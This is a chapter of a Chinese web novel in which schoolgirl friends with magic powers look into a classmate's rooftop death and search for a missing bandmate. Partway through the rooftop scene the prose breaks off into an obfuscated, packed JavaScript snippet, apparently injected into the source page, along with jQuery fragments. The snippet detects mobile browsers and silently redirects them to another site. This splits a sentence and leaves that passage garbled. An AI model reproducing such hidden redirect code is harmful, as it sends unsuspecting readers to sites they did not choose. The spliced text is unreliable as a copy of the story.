“希望那位别太伤心了,那孩子也真是,不知道怎么想的。” “可不是?不过不是亲生的也就那样了,不算彻底的亏本买卖。” “我可听说这里面有蹊跷,天生目白不是过几天还要参加那场宴会吗?” “你是说?怪不得她看着那么生气,那位也不会坐视不管吧。” 好吵。 “唉你听说了吗?天生目她的死有特殊情况哦?” “什么什么?快说给我听,她难道不是自杀的吗?” “我也要听!我知道一点,昨天出事的时候我就在附近,我看见好多保安和老师们冲到天台上面,那个新来的西西路老师也在里面,但应该是什么都没看见的。” “咦?是这样吗?” “那你知道的是什么?” “我可是听说,当时有人看见了天生目跳下来的那一瞬间啊。” “呜啊!好恐怖啊。” “有乐同学她也在上面呢?” 好吵。 校长走上了台,这位女士大概昨晚没怎么睡,眼睛里布满红血丝,倒也看上去像是在为学生的死感到悲伤。 “在这个充满悲痛的时刻,我们也希望每一位同学和教职工能够相互关心、支持,共同面对这一沉重的事件。我们鼓励大家向信任的老师、朋友或心理辅导老师倾诉自己的感受,不要让悲伤独自承受。学校心理咨询中心将全天候提供心理支持服务,任何有需要的同学都可以前往寻求帮助。” 好吵。 随后是一些其它的人发言,最后大家一起默哀一分钟,哀悼会就结束了,天生目清源最后上台,这位面带黑纱的肃穆者无论是脸色还是声音都瞧不出喜悲,她表示三日后会举行葬礼。 【羽生,你还好吗?】艾克里普担心地问,她也听见了那些议论的内容,对其感到无奈又生气。好在有乐羽生平安无事,她也松了口气。 【啊?哦,大家,我还好,不用担心。】有乐羽生回过神来,听到同伴的声音她心里感到了一瞬的安慰,但也就一瞬间而已了,【不用担心的,我能处理好这些事。】 【羽生,你需要休息一下了。】犬山晓在察觉到对方的虚弱时感到分外担心,【无论是家里的事情还是学校里的事情,有什么事情都可以和我们聊聊的。】 【…嗯。】有乐羽生沉默了一会回应道,【没关系的,就这几天而已。】 【好吧,我们昨晚在聊天群那里的消息你有读吗?】犬山晓问道。 【啊,聊天群?】有乐羽生愣住了,【我的手机被母亲收走了,抱歉。】 虽然语气和表情依旧与以往没什么不一样,但几人都很快都察觉到了有乐羽生此时神情有些恍惚,说话时也远没有往常那样注意自己的词句。 【那些家伙说话真的很没个度,我一会去找那些人让她们积点口德的。羽生,别把那些话太放在心上了,她们什么都不了解的。】森山寺未央担心地说。 而这句话却又让有乐羽生想起了天生目白,她那因昨日断食而饥肠辘辘的肠胃此刻近乎抽搐着痛了起来。 犬山晓注意到对方面色苍白可能是肚子饿,上课前带了几条蛋白棒交给有乐羽生,她接过后低着头小声说了谢谢,但并没有马上吃。 有乐羽生只是感受着饥饿感,她此时并不想处理这异样的感觉,因为它无时无刻不在提醒着自己一件很重要的事情,这件事她一直没能想起,饥饿感便一直灼烧。 为何我明明拥有一双翅膀,但依旧感到被束缚,明明拥有着常人无法想象的力量,却依旧被普通人的烦恼而烦恼着呢?有乐羽生看向窗外,今天是一个很符合氛围的雨天,但不是她喜欢的。 我想要去一个能自由地飞行,不需要烦恼,无时无刻都能看到蓝天的地方。那样的地方真的存在吗? 存在的,有乐羽生忽然就意识到了,这样一个完美符合她要求的去处,一个她随时能去且不会被拒绝的去处,是存在的,并且就在她身边! 怎么会忘记了呢?怎么会忽视了呢?现在就要去!我一刻都不想再待在这里了,若是让我继续这样被折磨,那还不如让我去死。她这样想着,终于露出了一个发自真心的笑容。 “你就是那个背后搞小动作的人?”森山寺未央趁上午最后一节课没课的时间把说闲话的人抓住并堵在没摄像头的小角落里,犬山晓给她放哨。 “什么小动作?”虽然被这样堵着,但那名学生却是一副什么都不怕的模样。 “说‘死者跳下来的时候看见有乐羽生站在天台上’的人,最开始的那个,不就是你吗?”森山寺未央耐下心来重复说。 “原来是这样,这么急着找过来,你们几个是想靠有乐家的背景加入学生会吧?所以不能让她的名声有污点。”那名学生一副看透了一切的样子嗤笑着。 而森山寺未央在她说完这句话之后马上就被气到了,同时也发现眼前人领结上并没有学生会的特制勋章,她深呼吸平复内心的怒火。 “你难道是想暗示天生目白的死和羽生有关系吗?”犬山晓直白地问。 “呵呵,我可没这么说,爱怎么想是你的事。”那名学生依旧在理。 “不对,那个时候有社团活动楼的人说自己看见羽生了,你的说法站不住脚。”森山寺未央质疑说。 但实际上二人心里清楚有乐羽生是有着快速传送到社团活动楼更衣室的手段的,但因为二人完全相信她的为人,所以此时完全不信这番说辞。 “谁知道是不是被收买的?说了好几次了我只是说了我看到的,爱怎么想是你的事!能别浪费我的时间了吗?”那名同学不耐烦地说。 “…你这样做是不对的你知道吗?捕风捉影得来的消息应该考虑之后再说出口,大家都是学生,心理还不成熟很容易被影响的。”犬山晓头疼地说。 “谁让你这么说的?”森山寺未央冷不丁地问。 “什么?”那名同学愣住了。 “你根本就不是学生会的人,按照这个学校的破传统你根本没有胆子拿没有事实证明的话议论身为学生会成员的羽生,谁指使你的?”森山寺未央一瞬不眨地看着对方的眼睛,终于是捕捉到了一丝慌乱。 “我听不懂你在说什么,让开!不然我要喊人了。”那名同学嘴硬。 “谁许诺了你利益?学生会的人?学校外面的人?校董会的人?”森山寺未央盯着对方的眼睛,发现以上都不是她要找的人。 “难道是老师?”犬山晓说。 那名同学眼睛一下子睁大了,很明显就是这个。 “老师?老师怎么会有理由做这种事?”森山寺未央大为不解,急迫地追问,“哪个老师?告诉我名字!” “差不多了吧!”那名同学恼羞成怒地说,“我们在做的事情有什么不一样?说到底也就是给别人跑腿然后获取一些报酬而已,拿着这些信息适可而止对我们都好不是吗?你们又是什么样的关系?区区一个开学没几周组成的小团体能有什么情谊可言?” “羽生她非常伤心,作为乐队队长我不能对此视而不见。”犬山晓正视对方说。 “什么?乐队?”那名学生愣住了。 “乐队,Mirare,校园祭上我们还演出了,你没来吗?”森山寺未央说。 那名同学忽然就愣住了,就在犬山晓准备让森山寺未央回避一下的时候,她又开口了。 “新来的老师,本来应该是没什么势力的,但却向我透露了很多东西,”她低着头说,“我不能再说了,你们爱怎么样就怎么样吧,别把我暴露出去了。” 说完她就头也不回地走了,像是在对什么避之不及。 留在原地的犬山晓和森山寺未央愣在原地。 “西西路老师?”森山寺未央迅速找到了这个结论,却是满脸的不可置信。 “她为什么要做这样的事?”犬山晓想不出一个老师大费周章对付学生的理由。 “我的直觉告诉我这件事和我们目前调查的事情有关联,但我没有证据,而且这也太诡异了,就像是未卜先知一样。”森山寺未央沉思道。 “想办法直接问她吧。”犬山晓决定了。 “我收到侦探的回信了!”先行回了一趟事务所的艾克里普找到了二人,“二位怎么一脸凝重的样子,对了羽生呢?” “我们找传播谣言的人谈了谈,她背后有人指使,可能是学校里的老师。”森山寺未央简单概括,“不过还没有证据可以支持,我们准备先找那个老师聊一下。” “上午起我就没看见羽生了。”犬山晓不免有些担心。 “原来是这样,我明白了。”艾克里普点点头,“羽生有可能先回家了吗?她看上去身体不太舒服,而且最近她的母亲对她的出行管理很严格。” “有可能,诶。”森山寺未央点点头,深深地叹了口气。 “那先去社团活动室,我把侦探的发现说一下吧,明天我单独告诉羽生。”艾克里普点点头,几人起身往社团活动室走去。 艾克里普小姐亲启, 多日不见,望您生活顺利,同时也替我向在座的各位问好。 很高兴听说你们对我的雇主也产生了兴趣!容我直言:该公司确实存在与各位追寻的目标相关的东西,隐藏地极好,连我的猎犬都找不到自己曾经的窝在哪里。 经过我的调查,这家公司内部只有极少数人真正涉及其中,多数仅是普通职员。我敢肯定,这件事的起源要追溯到很久以前,甚至可能远超我们现阶段能掌握的信息。过去的真相已被刻意掩埋,我们无法直接找到源头,但可以尝试去挖掘那些残存的痕迹,从老旧的时钟碎片中拼凑出局部全貌。 至于那位现任CEO我并不熟悉,她的确可能是幕后黑手之一,然而我认为主谋者不会主动暴露于阳光之下,她并不是这场对局的最终敌手。 我会继续跟进这件事,尽量找出更多有价值的信息,也请各位注意安全。 启明星 “就是这样,历史悠久吗。”艾克里普说,“不过启明星侦探似乎是知道些什么的样子,真是一如既往地可靠。” “果然是有关系的。”犬山晓想起克拉拉的嘱咐。 “但是知道公司在哪里也没有用,我们得想办法找到核心,果然路还很长啊。”森山寺未央叹了口气。 “不过这位侦探,似乎并不知道我们的真实身份吧。”犬山晓说。 “是的,现在来看对方的手段不一定是她能应对的。”艾克里普皱眉说,“她,太过于弱小了,就像她自己说的那样,这样的事情她不应该插手。” “也是,不过这个时候还用写信的方式交流,自称侦探的人,真好奇啊。”森山寺未央说。 下午,一边咀嚼蛋白棒一边出校门时犬山晓注意到校门左侧的校门口临时停车区,一辆银色的车旁站着一个她有些眼熟的人。那个中年女士优雅抱臂,覆盖着白色手套的单手提着手机正听着些什么,与有乐羽生相似的银白色头发被一丝不苟地挽起,耳垂上蓝色宝石闪闪发光。 是有乐羽生的妈妈!犬山晓意识到了这一点,随即她想到对方等在那里或许是在等待自己的孩子并准备与其一同回家,心中不免有些羡慕了起来。 但很快,她想起来自己上午没有在学校里遇到有乐羽生,她若是不在家里,也不在学校,那她会是在哪?就这样愣神的一瞬间,她的视线被那位正在听电话的女士察觉到了,二人对上视线的一瞬间,犬山晓意识到她应该早点跑的。 有乐千奈顿了顿,与通话人说了些什么便收回了手机,她没有将视线从犬山晓的身上移开,而是定定地看着,那样的视线让犬山晓觉得自己似乎正在被估价。随即她姿态优雅地朝犬山晓大步走来,脸上的微笑与有乐羽生相似,但更自然些。 看着对方朝自己走来的犬山晓手都不知道该往哪放了,吃了一半的蛋白棒也不知道该不该继续吃。她知道这位同伴的母亲大概是不会喜欢她们这些带着有乐羽生玩乐队的同伴的,她也不是学生会的人,对方这样来找自己八成是想质问些什么吧。 但犬山晓完全不知道该如何与这样的人谈话,她能与之进行沟通的大人就只有学校里的那些人以及克拉拉,但这其中绝对不包括校董会的人,也绝对不包括有乐羽生的母亲。 有乐千奈在犬山晓身前站定,视线扫过她手里吃了一半的蛋白棒,眉头皱了皱。犬山晓一愣,更不知道该怎么开口了。 “这位同学你好,我是日之森校董会成员之一有乐千奈,但或许你对我另一个身份会感到更亲近些,也就是,有乐羽生的母亲。”有乐千奈自我介绍道,她的声音是与有乐羽生截然相反的坚定,且略显低沉,而那白色羽睫下的瞳孔也是与有乐羽生那亮青色相反的灰蓝色,犬山晓看着对方那熟悉却也略有不同的中年人面孔,心想这对亲子还真是不太相似啊。 “您好,我的名字是犬山晓。”犬山晓也同样自我介绍了一下,“我是羽生的朋友,很高兴见到您。” 这样可以吗?犬山晓在心里颇为紧张,却也想不出更好的自我介绍了。 “犬山晓,我知道你。你是今年的新生,那张推荐信写的很漂亮,希望你这段时间有在日之森校园度过充实而有意义的时光。”有乐千奈微笑着问候道,在充实与有意义上加重了音调。 但犬山晓的注意力却在推荐信上,她没有读过克拉拉给她写的入学推荐信,作为被推荐人她也不能读,但此时她非常好奇那上面到底是写了些什么。 “谢谢?”犬山晓犹豫地回应道,她不知道该怎么回答这个问题。 “不必。”有乐千奈笑了笑,说道,“我才要表达感谢,羽生她与你们度过了一段充满新奇体验的日子吧,我能理解,谁在高中时不向往自己没见过的世界呢?” “啊,这样吗?”犬山晓觉得对方话里有话,但她又听不出来,只能按照字面意思去回答了,“确实是很新奇的体验,我们都很开心,羽生她也挺开心的。” 很快,她就说不下去了,因为她正被那双如被雾霾掩盖的晴空一般的瞳孔注视着,那并不是亲切温柔的,反而令她感到了些许窒息感。 “是啊,开心到都忘了自己是谁了吧,那孩子可真是的,健忘可不是一个好品质。”有乐千奈笑着说,“作为母亲,我有义务纠正她的缺点。” 犬山晓确定对方确实不喜欢她了,这让她感到了一些失望,随即而来的是疑惑与气愤。她不知道对方若是不喜欢她那为何还要主动来找她谈话,又气愤于对方找她谈话还说这些,完全不顾及自己的孩子的想法和感受。 羽生的母亲是这样的人啊,犬山晓这样想着,心里又回忆起了她们一同去游乐园时的情景,那时的有乐羽生所表达出的自我是完全真实的,感情也同样。这样的她或许是没办法出现在她自己的家里的吧,犬山晓为这个可能性的出现感到了同情与悲伤。 “…犬山同学,你想说些什么吗?”有乐千奈看着视线游弋的犬山晓,眉头再次皱起。 “您是来找我做什么的呢?”犬山晓看着有乐千奈问道。 “不回答我的问题吗?”有乐千奈冷声问道,“看来你也没有学到多少这个学校的学生该有的品质,真是遗憾。” 犬山晓这下真的有点生气了,她学习可是非常认真,非常用功的,老师都夸过她,眼前这个人虽然是校董会的成员但明显不参与教育工作,没有资格评价她学得怎么样。 “我想说,您要是只是想和我说那些事情的话,那我是不是就可以走了?”犬山晓皱眉问道,“我不想对您的想法进行评价,但您根本不了解我,也就不该评价我本身。而且您作为大人为什么要批判高中生的所作所为呢?您也曾经是高中生吧?” 有乐千奈一愣,她许久没与有乐羽生以外的高中生谈话过,一时也没想起来与高中生谈话该是以什么样的标准与态度。但即使是这样,她也无法对于犬山晓语句中对她行为的批判坐视不管,但同样考虑到对方只是高中生,她若是太过于较真就显得没气度了。 “我会考虑你的建议的,犬山同学。”有乐千奈眼睛微微眯起笑了,“那么能否拜托你告诉一下身为家长的我,一些羽生不愿意告诉我的小秘密呢?” “…什么秘密?”犬山晓一愣。 “比如,她是不是有私下自费邀请过你们出去玩?我可是非常担心她沾上不良习惯的,毕竟高中生的话想象力与行动力都是惊人的,但独独缺少了常识与眼界,你不这样认为吗?”有乐千奈语气里带着些苦恼,但她依然笑着,“无论是银行柜台人员还是监控记录都没办法给我一个答案,你能给予我一些帮助吗?” 这句话让犬山晓心中有些意外,她明白过来有乐千奈说的八成是那张银行卡的事情,问责追查都在预料之中。但她确实对于事后证据的销毁毫不知情,她本身没为此做过任何事。但说起这里的话她确实是有些心虚的。 即使如此,犬山晓也不准备将真实情况全盘托出,她思索了一番。 “羽生她没有和您说些什么吗?”犬山晓问道。 “什么都没有哦?”有乐千奈眼睛又眯了眯。 “…那您应该多问问她才对,她愿意和您说的话,那您知道这件事才有意义。”犬山晓摇了摇头,“不然的话您拿着我的答案去质问她,她会生我的气,还会生您的气,这样大家就都不开心了不是吗?” 有乐千奈一时没有回应,她看着犬山晓,深呼吸了一番,随即,再次露出了微笑。 这个人生气了!犬山晓意识到了这一点,又紧张了起来。 “也是,家务事就该在家里解决,是我考虑不周了。”有乐千奈笑了笑,“犬山同学的提议很有意义哦?我一定会好好问问羽生,这到底是怎么一回事的。” 犬山晓看着对方抓着披风一角的皮质手套,感觉自己或许说了一些不该说的话。但比起这件事,她对于这句话中的另一重含义更在意些。 “羽生她没有回家吗?”犬山晓担心地问,“我上午没看见她,还以为她已经回家了。” “…没有。”有乐千奈看着犬山晓的脸,明显地顿了顿,皱眉说道,“还得感谢你告诉我这件事呢。” “她有可能自己回去了吗?就是自己走回去什么的。”犬山晓担心地问。 “我看着呢,这件事不可能发生。”有乐千奈说,顿了顿,她恢复了微笑,“犬山同学认为她有可能在哪吗?下午她还有钢琴课要上呢,迟到了可不太好。” 犬山晓听着这个理由感到了些许气恼,但很快她又意识到这个理由不不足以让有乐千奈本人出现在这里等待有乐羽生。让她出现在这里的理由或许是希望从有乐羽生那里得到关于那张银行卡的答案,但更多,更本质的,是对于有乐羽生本人的在意。 “我觉得您可以直接打电话问问她的。”犬山晓说道,很快意识到有乐羽生的手机就是被眼前这个人收走的,果不其然,有乐千奈的眼睛又眯了起来。她连忙解释补充,“我,我和您一样很担心她的,不过我觉得她可能需要一些时间来想东西,她最近很累了。” “…这样吗?”有乐千奈的笑容停滞了一瞬间,很快又恢复了,“我会考虑你的建议的,犬山同学,回家路上小心点。” 说罢,有乐千奈转身拿出手机走向了车辆,司机为她拉开车门,车门关闭前,犬山晓听见对方在说些“扩大搜查范围”什么的东西。她明白有乐千奈绝对不会改变自己的做法,感到了一些无奈,同时,也对有乐羽生感到了更多的担心。 以及她非常想知道克拉拉在推荐信上写了什么,如果是有乐千奈那样严厉的人都能记住的话,那一定是一封用心写过的推荐信吧。犬山晓想起克拉拉那副似乎对什么都不抱有兴趣的模样,心中止不住地好奇。 大概晚上九点左右,所有高一年级学生突然收到了学校的新的通知邮件。 关于学生未归情况的通知 致全体师生及家长: 学校收到高中部一年级一班 [有乐羽生] 家长的紧急来信,该学生于至今未归,家长对此深感忧虑,并希望能尽快找到她的下落。若有任何线索,请尽快与学校或其家人联系,您的帮助或许能提供关键信息,协助家长找到她。 同时,学校也提醒所有学生,在近期事件影响下,务必注意自身安全,避免夜晚单独外出。如有特殊情况无法按时回家,请务必提前与家长或老师沟通,以免家人担忧。 感谢大家的关注与配合,愿所有学生都能平安归家。 邮件中,有乐羽生的名字被加粗并且标红,显得触目惊心。 而收到邮件后马上读了的犬山晓和森山寺未央迅速动身,在聊天群里发了消息。 “羽生失踪了?大家知道羽生在哪吗?”森山寺未央焦急地打字。 “下午的时候我遇到她妈妈了,她妈妈也说不知道。”犬山晓一边行动一边发消息,“我以为她只是找了个地方休息而已,但现在看来可能并不是这样。” “我去看看学校里面,但她会不会去了校外?”森山寺未央说。 “有可能,但是她并不是那种会突然消失不留下消息的人。”犬山晓担心地说。 “对啊,她最近心情肯定不好,去哪里散心了都有可能,但她一向很在意父母的说法,怎么会不回家呢?”森山寺未央思索着说,“总之我先去学校,如果学校没有的话还能去哪找呢?” “她喜欢哪里来着,游乐园!我去游乐园看看。”犬山晓回应道。 这时艾克里普也加入了聊天。 “游乐园距离远,我去游乐园找,未央去别的地方看看吧。”她努力打字。 “好!我去市中心西部那边的巷子里找找看,大家各自小心。” 几人分头寻找起了踪迹,但很遗憾的是一晚上下来并没有找到任何线索,有乐羽生像是从人间蒸发了一般。 2024年4月20日,周六,天气晴。 市长参与晨间会议,并未因为其子的失踪而缺席,副市长称赞其“有责任心”。 东流湾港口园区工业园区大量零件加工工厂扩大招收新员工,接收大量外地务工人员。 偶像组合“破冰者【星星符号】”的演唱会时期128号公路西南部分严重拥堵,请市民自行安排出行计划。 早上,森山寺未央回到公寓,缩在沙发上忐忑不安地与同伴们讨论昨晚的线索,森山寺未雅走出卧室门就看见她衣服都没换就在沙发上坐着,皱了皱眉。 “怎么了?”森山寺未雅问道。 “未雅没看学校发的邮件吗?羽生她失踪了!”森山寺未央说。 “哦,她失踪了?昨天下午吗?”森山寺未雅想起了自己上一次看手机似乎是上周了,一直没动静可能是没电关机了。 “羽生她,她可能遇到危险了。”森山寺未央非常担心。 “最近学校里环境确实不太好,她有没有可能是临时起意去散心了呢?”森山寺未雅猜想。 “不,她不是会随便失去联系的人。”森山寺未央摇头,没有说自己昨晚找了一晚上都没找到。 “这样啊,那她的爸爸妈妈一定很担心,现在已经到处在找了吧。”森山寺未雅说。 森山寺未央明白自己无法直接告诉姐姐或者有乐羽生的父母搜寻并不会有结果,她非常焦急与若是有乐羽生真的遭遇不测那她们几个人就是唯一有机会救她的人了。 “未央也打算去找吗?”森山寺未雅问。 森山寺未央点点头。 “这样啊,”森山寺未雅想了想说,“其实有的时候并不是找不到,而是找到了也不知道,你们需要考虑她刻意避开你们的可能性。” “咦?”森山寺未央疑惑地看向自己的姐姐。 “哪怕我们再聪明也会因为专业问题而失败,这种事情交给专业的人比较好吧?”森山寺未雅说。 “嗯。”森山寺未雅若有所思地点了点头。 三人在学校聚集。 【果然我们还是得想想办法,普通人很难应对特殊情况,如果这件事确实与魔物有关的话我们就得尽快将事情解决了。学校里的大家都会陷入危险之中的。】犬山晓担心地说。 【没错,不能把时间拖长。】艾克里普说。 【现在来看,羽生会不会有可能是被我们的目标抓起来了?】森山寺未央猜测说,【找不到魔力痕迹,让哪怕有空间魔法的羽生也没办法逃离,甚至动作很快,让我们没法察觉到。】 【这个是最糟糕的情况了,羽生可能有生命危险。】犬山晓凝重地说。 【如果是这样的话那产生的魔力波动我应该能察觉到才对,不过这其中我不知道的事情太多了。】艾克里普不得不承认这一点。 【所以我还想到了另外一种情况。】森山寺未央说,【如果,我是说如果啊,羽生只是去了某个地方,但因为某种限制而自己回不来了,那会是在哪里呢?】 其余二人思考许久。 【实际上这个猜测也符合羽生她毫无动静就消失的情况,我很难想象谁能让羽生毫无反抗能力地被抓走,她的空间魔法非常适用于逃走,速度也很快。】犬山晓肯定说。 【可是,自己藏起来,羽生为何要这样做呢?】艾克里普不解地说。 【因为学校里和家里的气氛?羽生虽然一直很无所谓的样子,说不定非常在意天生目白的事情。】森山寺未央分析说。 【气氛吗?可她自己也清楚,这些事情会很快过去吧。】艾克里普还是不解。 或者说艾克里普根本没有考虑过“学校的气氛”会影响到有乐羽生这件事,她一直以来担心的是天生目白作为有乐羽生的有关系人,她死了有乐羽生会非常难过。而之前她脸色不好看,也是因为在家里没能足够地补充能量而导致的虚弱。 【这样的话我能想象到的地方就是游乐园,但那里确实没有她的痕迹。】犬山晓说。 【羽生,如果是自己藏起来的话。】艾克里普疑惑地问道,【为什么因为天生目同学的事情要藏起来呢?因为想找地方休息吗?还是说她不想听见学校里的那些议论了吗?】 【对哦,为什么呢?无论是找地方休息还是不想听到议论都不需要藏起来,】森山寺未央说,【羽生知道我们已经去拷打了一番传播消息的人,而按照她往常的习惯,休息的话一般是去那边的楼梯间或者社团活动室,但是两边都没有人。】 “未雅怎么看?”森山寺未央求助于姐姐。 “说不定两边都是对的。”森山寺未雅写着作业说。 “什么都是对的?”森山寺未央疑惑地问。 “不是问我怎么看学校里的传言吗?”森山寺未雅看向自己的妹妹,“她在事发时到底在天台还是社团活动室,其实结论像是薛定谔的猫一样,最后的答案揭晓之前需要设立她同时处于两个地方的假设。” “是吗?”森山寺未央意识到二人说的不是一件事,不禁为这样的不默契感到郁闷,但很快她意识到了一点。 如果有乐羽生与天生目白的死确实有关系,那么她确实有藏起来的原因。 意识到这一点的森山寺未央瞬间遍体生寒,没有动。 “怎么了?”森山寺未雅回头,“总之警察会负责的。” 而思索着这件事的森山寺未央只是沉浸在自己的想法里,一会才回过神来。森山寺未雅没有多在意这一奇怪的举动,回过头继续写作业了。 森山寺未央向其余二人说明了这个想法。 【我不认为羽生会做出这样的事情,她完全没有说过自己有这方面的想法。而且我能看出她并不是会做出这种事的人。】艾克里普沮丧地说。 【我也是,我不认为她会做出这样的事情来。】犬山晓说,【而且这件事与她相关也不一定是就她做的,我们不知道具体发生了什么。】 【没错,说不定羽生只是觉得自己有理说不清呢?】森山寺未央越想越觉得对。 艾克里普情绪又好了些。 【开始调查吧,无论如何我们都不能放任这件事不管。从哪里开始调查比较好呢?尸体已经没办法看了,总之先去看看天台那边吧。】犬山晓说。 其余二人也同意这一点,便约好悄悄前往被封锁的天台区域。 虽然说被封锁了起来,但实际上天台上几乎什么也没有,毕竟本来就没有被设计为准备被使用的,更何况它场景还被牢牢地锁起来了。 【这样看的话什么都没有,果然太迟了吗?】犬山晓不禁有些心急。 【这里有些垃圾,没有魔力气息残留。】艾克里普注意到天台出口内部靠楼梯的旁边堆了些橡胶垫,金属管和一个梯子,大概是临时放在这的。 【坠落的地点就是这里吧,呜啊好高。】森山寺未央来到栏杆的旁边往下看,看见了被围起来的地面,以及那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706136|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块被清理过却依旧有所不同的地面石砖。 那个人就是从这么高的地方掉下去的,森山寺未央这样想着不禁感到同情。 【这里。】犬山晓来到森山寺未央的身侧,指出栏杆下方的围墙上不起眼的一处褐色痕迹,【这个是血,而且应该是近几天的,是短距离飞溅出来的。现在其中已经没有活性了,不然我可以找到它的主人。】 【哇完全看不出来。】森山寺未央凑过去看,细看之下才能发现这处痕迹与一旁围墙上的污渍的不同之处。 【有血?】艾克里普也过来看,担心地问,【她们打起来了吗?】 【羽生不是喜欢使用暴力的人,还是说是天生目白攻击了羽生?】犬山晓思考。 【当是她们两个是为何来到天台,又为何跑到栏杆旁边的位置呢?她们是吵架了吗?】艾克里普也在思考,【吵架要来天台吵吗?】 【来到天台是因为有私密的事情要谈吧,】森山寺未央说,【靠在这里我就不理解了,这里围墙加上栏杆才到腰部,为什么要特地往这里跑呢?】 【有私密的事情,而且到危险的地方谈,是要威胁吧。】犬山晓明了。 【威胁?谁对谁?听说那个天生目白家里是□□诶。】森山寺未央说。 【羽生难道是被威胁时无意间把对方推下去了吗?】艾克里普推测道。 【这样的事情光是我们手头的线索根本没法找出来答案,而且这里还没有监控。】森山寺未央摇摇头,【猜测的话什么可能性都有,但就不是我们想要的来。】 【…羽生可能知道真相是什么,但是她躲起来了。】犬山晓顿了顿说。 【可是这样一来不就是在说羽生就是那个。】森山寺未央没有把犯人两个字说出来,看着其余二人希望得到一个否定的答案。 【我果然还是觉得羽生不会做出这种事。】犬山晓摇了摇头,【我们得去亲口问她才行,或许面对只有我们在的情况下,她会愿意说出一些什么吧。】 【我也是这样想的,】森山寺未央叹了口气,【那在这样的情况下她可能会躲去哪里呢?】 【只有自己能找到的地方,而且是自己喜欢的地方。】艾克里普使劲思考,【心像空间!羽生有没有可能在自己的心像空间里?】 【有这个可能!而且非常大!】森山寺未央同意这一结论。 【那这样以来不就更糟了,心像空间的位置凭其主人而定。全城扫描的话得花费一定时间。】艾克里普叹气。 【其实我有个想法。】犬山晓说。 【什么?在哪里?】艾克里普急切地问。 【我们先把这里的线索用手机拍下来吧,然后再过去。】犬山晓说。 森山寺未央也同意这一点,她拿着手机把能拍的地方都拍了一遍,包括天台入口处的门。 几人跟着犬山晓走,一路经过教学楼来到社团活动楼,又一路走到戏剧社附近。 “这里是,羽生的锚点存放的地方。”森山寺未央想起了这个小更衣室。 “是的,”犬山晓转头看向艾克里普,“有什么办法探索这里是否有心像空间的存在呢?” “有的,需要另一个心像空间持有者在这里尝试开启结界,如果感受到很严重的阻力多半就是了。”艾克里普点头。 于是三人间唯一持有结界的森山寺未央快速变身,并且举起手杖,无数张黑色卡牌从她的单侧披风中飞出并且围绕着其主人飞舞,几乎要把她包围起来,下一刻,卡牌们被收回去了。 “有的,我感受到了。”森山寺未央看向两人,点了点头。 “那说明羽生就在里面了!”艾克里普激动了起来,看上去也安心了一些,“太好了,她不是因为人造魔物那件事遇到危险就好。” “我们现在就进去试试吗?”森山寺未央跃跃欲试地说。 “不,我觉得就这样进去不会有什么效果,因为我们什么都没有准备。”犬山晓说,“既然羽生在自己的结界里,那她应该是自愿进去的。” “所以说,羽生实际上不知道当时发生了什么,虽然有心解释,但也不知道该怎么做了,对吧?”森山寺未央总结说,“而就是因为这一点,她躲进了结界里面,不知道为什么一直没有出来,就是这样吧?” “没错,我们得调查清楚天生目白的死因,她不该是自杀,凶手也不会是羽生。”犬山晓郑重地点头。 “那接下来就要回去现场看看?”森山寺未央激动了起来,“不过那个上面确实是什么都没有。” 实际上其实是有的,只是你不知道而已?她突然想起了这句话。 “果然要找专业的人,”森山寺未央看向艾克里普,“我们能想办法和那位侦探见一面吗?或许有些东西仅仅是因为我们不知道所以才没有出现在我们眼前。” “我明白了!”艾克里普郑重道,“我现在就去给启明星小姐写信!” “没有更快捷的联系方式吗?”犬山晓忍不住说,“电话什么的。” “哎呀,这个我确实没有存过。”艾克里普不禁有些沮丧自己的失误。 “启明星,私人侦探,本地。”森山寺未央掏出手机就开始搜,“有了!是这个吗?” 手机上,被精细摆放着大量信息的网页出现在众人面前。 启明星侦探事务所 启明星侦探事务所,致力于揭露隐秘、追寻真相,不论是失踪案件、金融欺诈,还是最扑朔迷离的谋杀之谜,我们始终坚持冷静、严谨、无畏的调查态度,为委托人寻找隐藏的事实。 事务所创立人:启明星 执业领域:刑侦调查、商业调查、失踪寻人、谍报分析 服务时间:24小时响应紧急案件 破案记录 精选案件回顾 完整档案库 - 访问启明星侦探档案馆,查看已结案与公开案件报告。点击进入 悬案板 - 仍未破解的疑案,欢迎提供线索。 表彰与荣誉 年度杰出私人侦探 - 由真相调查联盟授予 警钟侦探社荣誉会员 法律援助合作优秀机构 与多家律师事务所、调查机构合作 客户评价 “细致入微,逻辑缜密,绝不放过任何细节。” —— 不黑心的企业法律顾问 “即使案件复杂艰难,仍然能拨云见日,找到隐藏的线索。” —— 不仗势欺人的家族信托委托人 需要帮助?联系我们! “这里就有电话!太好啦。”艾克看见了联系方式。 “侦探都是这样,额。”森山寺未央试图找个形容词来形容一下这个网页。 “商业化的吗?”犬山晓补上。 “对,启明星侦探明明应该是古典派侦探才对!”森山寺未央印象里启明星是个坐在安乐椅上一边烤火一边抽烟斗一边缓缓道出真相的侦探,再不济也是个穿梭于第一案发现场,仅仅是看一眼尸体就能在警察之前找到答案,随后鄙夷所有人的侦探。 总之与在官方网站上吹嘘自己的能力并且让雇主给自己打好评的侦探形象不太一样吧。 “喂,您好?是启明星侦探吗?我是艾克里普。”艾克里普已经接通了电话,其余几人闭上嘴用心听。 “真是少见,有什么紧急事件发生了吗?”电话那一头传来一个过于年轻的声音。 “是的,”艾克里普想了想,说到,“不知道您有没有听说前日发生的,关于日之森有学生坠楼的消息。” “当然!作为侦探必须熟知周围的一切新事件的发生”电话那一头的语气转变地极其自然,“真是令人遗憾,天生目小姐,多么年轻又鲜活的生命,就这样被夺去!” 【这个声音,绝对还没过青少年变声期吧。】犬山晓疑惑地说。 【可能有的人就是这样的声音?】森山寺未央不确定地说。 “是的,”艾克里普说,“我想雇佣您调查这起案件的真相,啊,当然!我们后面也会写好评的!” “没想到艾克里普这么快便成为了我的老主顾。”电话那头声音里掺杂了笑意。 “可是,很遗憾我无法接下这起委托。” “为什么呀?”森山寺未央忍不住问了。 